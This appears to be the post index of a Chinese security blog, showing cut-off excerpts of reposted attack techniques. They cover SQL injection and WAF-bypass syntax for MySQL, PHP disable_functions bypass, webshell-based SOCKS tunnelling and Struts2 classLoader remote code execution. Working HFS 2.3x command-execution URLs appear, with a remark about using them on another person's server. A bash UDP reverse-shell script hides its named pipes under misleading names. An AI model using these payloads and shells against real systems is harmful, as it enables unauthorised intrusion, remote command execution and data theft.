2015-02-10 21:20:12

[zone]mysql 语法绕过一些WAF

转:mysql syntax bypass some WAF 一个小tips,twitter上看见的: 一句话: select{x table_name}from{x information_schema.tables} 测试: mysql> select{x table_name}from{x information_schema.tables}; +----------------------------------------------------+ | table_name | +----------------------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES

2015-01-24 22:41:33

[zone]MySQL 在 LIMIT 条件后注入

FROM:http://zone.wooyun.org/content/18220 from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ 此方法适用于MySQL 5.x中,在limit语句后面的注入 例如: SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point 上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法: SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [WHERE where_c

2014-11-29 23:55:07

JTabbedPane 监听tab选中改变事件

利用的是javax.swing.event.ChangeListener,原文Listening for Selected Tab Changes。实现方式都是callback,不过在实际当中为了方便我选择了自己写callback。 import java.awt.BorderLayout; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JTabbedPane; import javax.swing.event.ChangeEvent; import javax.swing.event.ChangeListener; public class TabSample { static void add(JTabbedPane tabbedPane, String label) { JButton button = new JButton(label); tabbedPane.addTab(label, button); } public static void main(String args[]) { JFrame frame = new JFrame("Tabbed Pane Sample"); frame.setDefaultCloseO

2014-11-24 11:21:14

[zone-phith0n]PHP 绕过Disable_functions执行命令

FROM:http://zone.wooyun.org/content/16631 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path = 注释中可以看到,send_mail默认值为"sendmail -t -i". extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 如下: if (!sendmail_path) { #if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smt

2014-09-14 01:36:32

[转] HFS 2.3x 远程命令执行

从某论坛看见的,转载部分: 这个程序在国内用的特别多,特别是那些抓肉鸡的黑阔。 http://localhost:80/?search==%00{.exec|cmd.} http://localhost:80/search=%00{.exec|cmd.} 注:有些版本search前面是没有?的。 测试部分: 百度搜HFS默认就是2.3x版本,执行echo测试成功: http://localhost:8080/?search==%00{.exec|cmd.exe%20/c%20echo>c:/1.txt%20123.} google hack了一下,发现一个抓鸡黑阔: 。。。。。。 已测试官方最新版,一样存在。 撒旦: 测试某表弟的抓鸡服务器同样XXOO了。。 带回显的HFS利用方法,抛砖引玉 http://localhost:8080/?search==%00{.exec|cmd.exe%20/c%20whoami>1.txt.}{.cookie|2|value={.load|1.txt.}.}

2014-08-13 23:55:21

[zone]利用webshell搭建socks代理

FROM:http://zone.wooyun.org/content/14470 老外的开源应用  https://github.com/sensepost/reGeorg  使用示例:  python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp Step 1. 上传一个脚本(aspx|ashx|jsp|php) 到web服务器上。  Step 2. 执行reGeorgSocksProxy.py脚本,连接shell监听端口。  ** 如果你使用nmap等工具需要用到 proxychains。  Step 3. Hack the planet 

2014-06-25 23:35:23

[f4ck-Mramydnei]新型Mysql报错注入

from:https://rdot.org/forum/showthread.php?t=3167、http://sb.f4ck.org/thread-19159-1-1.html 原文是俄文,不好做翻译,附上大概的内容: 这种报错注入主要基于Mysql数据类型溢出 mysql > SELECT 18446744073709551610 * 2 ; ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql > SELECT - 1 * 9223372036854775808 ; ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) * 9223372036854775808)' 查询数据库版本: mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610, 18446744073709551610)); ERROR 1690 (22003): BIGINT U

2014-04-03 21:42:18

[百度安全中心博客-neobyte]Struts2 S2-020在Tomcat 8下的命令执行分析

作者:neobyte 时间:2014-04-03 Struts S2-020这个通告已经公布有一段时间了。目前大家都知道这个漏洞可以造成DOS、文件下载等危害,相信各大厂商也已经采取了相应的安全措施。今天是和大家分享一下对这个漏洞的一点研究,包括如何在Tomcat 8下导致RCE,目的是抛砖引玉,有不足之处欢迎大家指出。 1.属性列举 这个漏洞分析的一个难点在于:通过ognl的class.xx这种方式来遍历属性时,得到的是实际运行环境中的动态class,因此仅作静态分析是很困难的。例如classLoader,在不同容器中就各不相同。于是我编写了一个小脚本来自动枚举这样的属性:(这段脚本只考虑了int、string与boolean这些基本属性,未考虑数组等复杂的情况,实际情况下结果会更多) <%@ page language="java" import="java.lang.reflect.*" %> <%! public void processClass(Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc){ try { Class<?> c = instance.getClass()

2014-03-25 18:31:17

[zone-xsjswt]Linux UDP反弹shell脚本

原文:Linux UDP反弹shell脚本,无端口,无残留文件,妈妈说标题要长才有人看,没人点赞的话不许回家吃饭 (标题太长,忍不住删了几个字) * 无端口 * 成功启动后无残余文件 * 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法 * 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了 * 由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出 图就不贴了,大家自己玩 #!/bin/bash REVIP=127.0.0.1 REVPORT=8080 PIPE=/tmp/mysql-debug-mode PIPE2=/tmp/syslog TIMEOUT=20 rm -rf $PIPE mknod $PIPE p rm -rf $PIPE2 mknod $PIPE2 p function KeepAlive(){ rm -rf $PIPE rm -rf $PIPE2 while [ 1 == 1 ] do sleep $TIME

2014-03-16 20:32:29

Struts2的getClassLoader漏洞利用

原文:http://security.alibaba.com/blog/blog_3.htm?spm=0.0.0.0.sY8iKo 0x00 摘要 2012年,我在《攻击JAVA WEB》,文中提多关于“classLoader导致特定环境下的DOS漏洞”,当时并没有更加深入的说明,这几天struts官方修补了这个漏洞,本文是对这个漏洞的深入研究。 0x01 正文 这一切,得从我们控制了classLoader说起,曾经写过一篇文章,提到了一个小小的技术细节,非常不起眼的一个鸡肋。 引用《Spring framework(cve-2010-1622)漏洞利用指南》: Struts2其实也本该是个导致远程代码执行漏洞才对,只是因为它的字段映射问题,只映射基础类型,默认不负责映射其他类型,所以当攻击者直接提交URLs[0]=xxx时,直接爆字段类型转换错误,结果才侥幸逃过一劫罢了。 tomcat8.0出来后,这个问题爆发了,这是一个鸡肋漏洞的逆袭。 在struts2任何一个action运行之前,一旦接受到用户提交参数xx=zzzzz时,就由Ognl负责调用对应的当前action的setXxx方法,至于set方法到底是干什么的,其实不重要,里面的逻辑也不重要,我们只关注这个方法调用了,参数传递了。这种对属性的改变,有时候是可以很大程度的影响后续复杂逻辑。 普及一点基础 Object是java